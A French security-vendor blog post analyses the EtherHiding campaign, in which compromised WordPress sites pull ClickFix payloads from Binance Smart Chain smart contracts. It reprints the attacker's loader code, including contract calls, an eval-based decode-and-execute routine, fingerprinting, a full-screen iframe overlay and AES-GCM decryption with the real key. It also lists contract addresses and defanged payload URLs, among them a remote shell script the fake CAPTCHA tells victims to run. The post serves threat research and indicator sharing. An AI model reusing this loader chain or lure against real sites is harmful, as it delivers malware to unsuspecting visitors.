Skip to main content
Blog
Attacks Blog

La Blockchain n'est pas votre amie : analyse d'EtherHiding et de l'utilisation de la blockchain à des fins d'attaque

En mars/avril 2025, une variante de ClickFix circulait et utilisait la blockchain Binance avec des smart contracts pour contrôler des charges utiles malveillantes diffusées depuis un plugin WordPress compromis.

Sep 02, 2025 10 min read
Bannière d'analyse d'EtherHiding et de la blockchain à des fins d'attaque
Table des matières

En bref : livraison de charges utiles ClickFix via des smart contracts sur Binance Smart Chain

  • Aucun hôte à débrancher : Les retraits (takedowns) sont la métrique préférée du secteur. EtherHiding met cette métrique à la retraite. Quand la charge utile réside dans un smart contract Binance Smart Chain, il n'y a plus d'hébergeur à notifier, plus de registraire sur lequel s'appuyer, plus de serveur à débrancher.
  • La charge vit on-chain : Le contrat Orchid, à l'adresse 0x8FBA1667BEF5EdA433928b220886A830488549BD, a livré cinq charges utiles en Base64+gzip via des fonctions getter sur environ 19 800 sites web compromis, aboutissant à une commande terminale ClickFix déchiffrée en AES à la volée. cside surveille ce que le navigateur exécute réellement en runtime, si bien que les charges utiles on-chain sont visibles dès leur rendu.
  • Le runtime est le point de contrôle : Si votre stratégie de défense repose sur les retraits de domaines et les listes de réputation, abandonnez cette hypothèse dès ce trimestre. Les attaquants sont passés à un hébergement immuable et décentralisé, et votre seul point de contrôle restant est le runtime dans le navigateur de l'utilisateur.

Peu de temps ? Découvrez le blocage Magecart et skimmer dans le navigateur de cside. Elle couvre tout ce qui suit en un seul déploiement.

Il y a moins de deux semaines, l'un des nombreux smart contracts dormants résidant sur la Binance Smart Chain a soudainement repris vie. L'attaquant a mis à jour les variables du contrat, réactivé les charges utiles, et l'attaque est désormais potentiellement active sur plus de 19 800 sites web compromis.

L'attaque est connue sous le nom d'EtherHiding ; elle utilise principalement des smart contracts blockchain pour délivrer aux victimes des charges utiles dynamiques de type CAPTCHA façon ClickFix. Nous avions initialement écrit sur les attaques ClickFix ciblant macOS en février, mais comme pour toute attaque, son mode de diffusion a évolué depuis. Cette catégorie croissante de menaces côté client est de plus en plus difficile à détecter, et encore plus à neutraliser.

Nous sommes cside, et nous surveillons les attaques JavaScript côté client impliquant des tiers. Rien qu'au premier trimestre 2025, nous avons observé plus de 300 000 sites web compromis.

Pourquoi la Binance Smart Chain ?

La Binance Smart Chain (BSC) est une plateforme blockchain conçue pour faire tourner des applications basées sur des smart contracts destinées aux utilisateurs de cryptomonnaies. Contrairement aux chaînes traditionnelles comme Ethereum, la BSC privilégie des coûts de transaction faibles et un débit élevé, ce qui la rend attractive aussi bien pour les développeurs de la finance décentralisée que pour les acteurs malveillants.

Grâce à ces smart contracts, un acteur malveillant peut stocker des charges utiles malveillantes on-chain, ce qui lui confère plusieurs avantages par rapport à une infrastructure cloud traditionnelle :

  • Hébergement immuable (car une fois sur la blockchain, c'est permanent)
  • Stockage décentralisé, impossible à retirer
  • Mise à jour en temps réel via les fonctions du contrat

Dans cette campagne EtherHiding, les fonctions getter et setter de ces contrats sont utilisées pour délivrer des charges utiles JavaScript qui s'adaptent à l'environnement de la victime. Elles se déchiffrent et se décompressent dans le navigateur, puis s'exécutent.

Analyse de la chaîne d'attaque

L'attaque commence par l'injection de code malveillant dans la balise <head> d'un site, principalement sur des installations WordPress. Notre analyse désigne les plugins vulnérables comme vecteur d'accès probable. Une fois le code malveillant inséré dans le site, il déclenche une attaque en plusieurs étapes qui récupère ses instructions suivantes directement depuis la blockchain.

Schéma du déroulement de l'attaque EtherHiding débutant par du code injecté dans le head de la page

Étape 1 : Compromission initiale et mise en place

Le premier point de contact de ce script malveillant n'est pas un serveur contrôlé par l'attaquant, mais une connexion Web3 à la Binance Smart Chain. Le script contacte le smart contract à l'adresse 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, lançant l'attaque en demandant des instructions supplémentaires à ce contrat.

L'ABI du contrat retourné (Application Binary Interface, soit une liste d'instructions contenues dans le contrat) ainsi que les informations associées sont encodés en Base64 et compressés avec gzip. Le script doit les décompresser à l'aide de la bibliothèque pako (un portage JavaScript de la bibliothèque de compression zlib) avant de pouvoir les analyser et les utiliser.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");

  

const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

  

Après avoir établi le contact, le script appelle une fonction blockchain pour obtenir l'adresse du smart contract suivant, situé à 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Étape 2 : Chargeur multi-charges utiles via tokyoSkytree

Le contrat **0x8FBA1667BEF5EdA433928b220886A830488549BD**, nommé en interne le contrat Orchid, est le contrat le plus important de la chaîne d'attaque.

Ce contrat contient cinq fonctions essentielles qui déterminent la suite de l'attaque :

  • tokyoSkytree
  • akihabaraLights
  • asakusaTemple
  • ginzaLuxury
  • shibuyaCrossing

Le cœur de l'attaque est initié par la fonction **tokyoSkytree**, qui se comporte comme un chargeur et un orchestrateur télécommandé pour l'ensemble de la charge utile. Elle exécute les quatre autres fonctions du smart contract l'une après l'autre, chacune retournant un blob JavaScript compressé et encodé en Base64 pour mieux dissimuler ses réponses.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

  

Chacune de ces fonctions de smart contract retourne une charge utile qui est décodée et exécutée dynamiquement via la fonction **teaCeremony** :


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

  

Ce pipeline (simplifié) décode la chaîne Base64, la décompresse avec gzip, puis l'exécute via la fonction eval. Cette conception rend la campagne d'attaque à la fois modulaire et agile, car les charges utiles stockées on-chain peuvent être remplacées extrêmement rapidement.

Étape 3 : Empreinte de la victime

shibuyaCrossing - Déterminer le système d'exploitation


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

  

akihabaraLights - Déterminer le navigateur


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

  

Les deux fonctions shibuyaCrossing et akihabaraLights servent à établir l'empreinte de l'environnement de la victime à partir de son système d'exploitation et de son navigateur. Ces informations sont ensuite utilisées pour servir une version spécifique de l'attaque en fonction du navigateur ou du système d'exploitation détecté.

Étape 4 : Déchiffrement et injection de la charge utile

Après avoir établi l'empreinte de l'environnement de l'utilisateur, **ginzaLuxury** contacte un troisième et dernier smart contract (situé à 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, nommé le contrat Jade) qui charge à son tour d'autres fonctions.

Notamment : **getRandomSkylineByBrowserAndPlatform**.

Cette fonction, après réception des variables de navigateur et de système d'exploitation déterminées précédemment, retourne une URL à récupérer contenant le HTML chiffré à afficher. Après téléchargement de cette charge utile et déchiffrement via la fonction **pearlTower**, qui contient une clé de déchiffrement AES-GCM, l'attaque est finalement injectée dans une balise <iframe> en plein écran qui recouvre l'écran de la victime.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

  

D'après nos recherches, la seule URL actuellement active est **https://yie-cpj[.]pages[.]dev/mac**, qui contient une charge utile active pour les utilisateurs de Firefox, Google Chrome et Safari sur macOS.

Étape 5 : Analyse du HTML chiffré

Pour valider la phase finale de cette attaque, nous avons décodé et analysé le HTML chiffré hébergé sur **https://yie-cpj[.]pages[.]dev/mac**. À l'aide d'un script développé pendant nos recherches, nous avons pu collecter les transactions blockchain, décoder chaque charge utile envoyée au contrat, et déterminer la dernière clé de déchiffrement valide utilisée.

La clé **5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=** peut être utilisée pour déchiffrer la charge utile HTML via la fonction de déchiffrement **decryptScrollToText** :


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

  

Le HTML résultant est une charge utile de phishing de type ClickFix conçue pour ressembler à une page de vérification reCAPTCHA. Plutôt que de valider l'utilisateur via des images, elle demande à la victime de :

  1. Ouvrir le terminal macOS
  2. Coller et exécuter une commande encodée en Base64 récupérée dynamiquement depuis la fonction **jadeCode()** on-chain
Fausse page de vérification invitant les utilisateurs à coller et exécuter une commande encodée en Base64

La commande terminal affichée aux utilisateurs utilise le Base64 pour dissimuler l'URL de la charge utile : https://kimbeech[.]cfd/cap/verify.sh.

Bien que l'URL était inactive au moment de l'analyse et que le script **verify[.]sh** n'ait pas pu être récupéré pour un examen approfondi, la structure et le mode de diffusion ne laissent aucun doute sur les véritables intentions de l'attaquant.

En demandant à la victime d'exécuter une commande injectée dans le presse-papiers depuis son terminal, l'attaquant tente d'exécuter un script Bash distant sous couvert d'un processus de vérification CAPTCHA familier. Il s'agit d'une caractéristique clé de la technique d'ingénierie sociale ClickFix, et cela représente un risque sérieux de compromission totale de l'appareil.

Pourquoi la sécurité côté client est plus importante que jamais

Des attaques comme EtherHiding montrent à quel point les menaces côté client ont évolué. Elles sont modulaires, obfusquées, et de plus en plus diffusées via une infrastructure décentralisée impossible à neutraliser.

Parce que la charge utile vit dans le navigateur et réagit en fonction de l'environnement de l'utilisateur, ces attaques peuvent passer sous le radar des protections traditionnelles côté serveur. Elles n'ont même pas besoin d'exploiter le serveur lui-même. Il suffit que la victime charge la page.

Garder une longueur d'avance sur ces menaces implique de surveiller à la fois votre code et ce que votre navigateur exécute réellement : scripts tiers, ressources injectées, et comportements susceptibles de muter en temps réel. À mesure que les surfaces d'attaque côté client se complexifient, les défenses conçues pour les détecter doivent évoluer tout autant.

Glossaire

Nom

Adresse du contrat

Objectif

Loader

0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

Contrat initial fournissant l'ABI et l'adresse orchid

Orchid

0x8FBA1667BEF5EdA433928b220886A830488549BD

Logique d'exécution principale qui délivre du JavaScript Base64 + gzip

Jade

0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

Stocke les URL des charges utiles chiffrées et les clés AES-GCM

URL

Comportement

https://yie-cpj[.]pages[.]dev/mac

Superposition CAPTCHA de phishing en plein écran (ciblant macOS)

https://hfdjmoedkjf[.]asia/

Point de terminaison de télémétrie utilisé pour journaliser les chaînes user-agent

https://kimbeech[.]cfd/

URL du script shell distant (actuellement inactif)

https://orange-service[.]xyz

Point de terminaison de télémétrie sur la page d'attaque, également utilisé pour signaler les chaînes user-agent

Contrat

Fonction

Rôle dans l'attaque

Orchid

tokyoSkytree()

Point d'entrée qui charge et exécute les autres fonctions du contrat

Orchid

shibuyaCrossing()

Retourne le script de détection du système d'exploitation

Orchid

akihabaraLights()

Retourne le script de détection du navigateur

Orchid

ginzaLuxury()

Charge le contrat Jade et déclenche également le flux de déchiffrement et de rendu

Orchid

asakusaTemple()

Envoie des données de télémétrie à l'acteur malveillant

Jade 

getRandomSkylineByBrowserAndPlatform()

Retourne la clé de déchiffrement AES-GCM pour les charges utiles HTML en popup

Jade

pearlTower()

Expose l'ensemble des correspondances de charges utiles avec leurs URL

Jade

getAllSkylines()

Permet à l'attaquant de changer la clé de déchiffrement (ex. : rotation du chiffrement)

Jade

setPearlTower()


Permet à l'attaquant de remplacer les URL des charges utiles sur plusieurs plateformes

Jack LaFond
Security Researcher

I'm a security engineer + security researcher at cside.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

Interface du tableau de bord cside affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration

Envie de passer tout ça en revue avec un ingénieur ?

Trente minutes, sur votre propre site. Pas de slides.

Nous vous montrerons :

Quels scripts tiers s'exécutent actuellement sur votre site
Où vous en êtes sur les exigences PCI DSS 6.4.3 et 11.6.1
Quelle part de votre trafic provient de bots et d'agents IA

Vous préférez simplement poser une question ?

Recherche de créneaux…

Humains uniquement. On le saurait.

Un problème pour réserver ? Ouvrir le calendrier dans un nouvel onglet

Quel problème cherchez-vous à résoudre ?

Dites-le-nous en une ligne et nous reviendrons vers vous avec quelque chose d'utile, pas un discours générique.

Nous aidons souvent sur :

Voir quels scripts tiers s'exécutent sur votre site
Les preuves pour PCI DSS 6.4.3 et 11.6.1
Les bots, les agents IA et le vol de comptes

Vous préférez réserver un créneau ? Choisir un créneau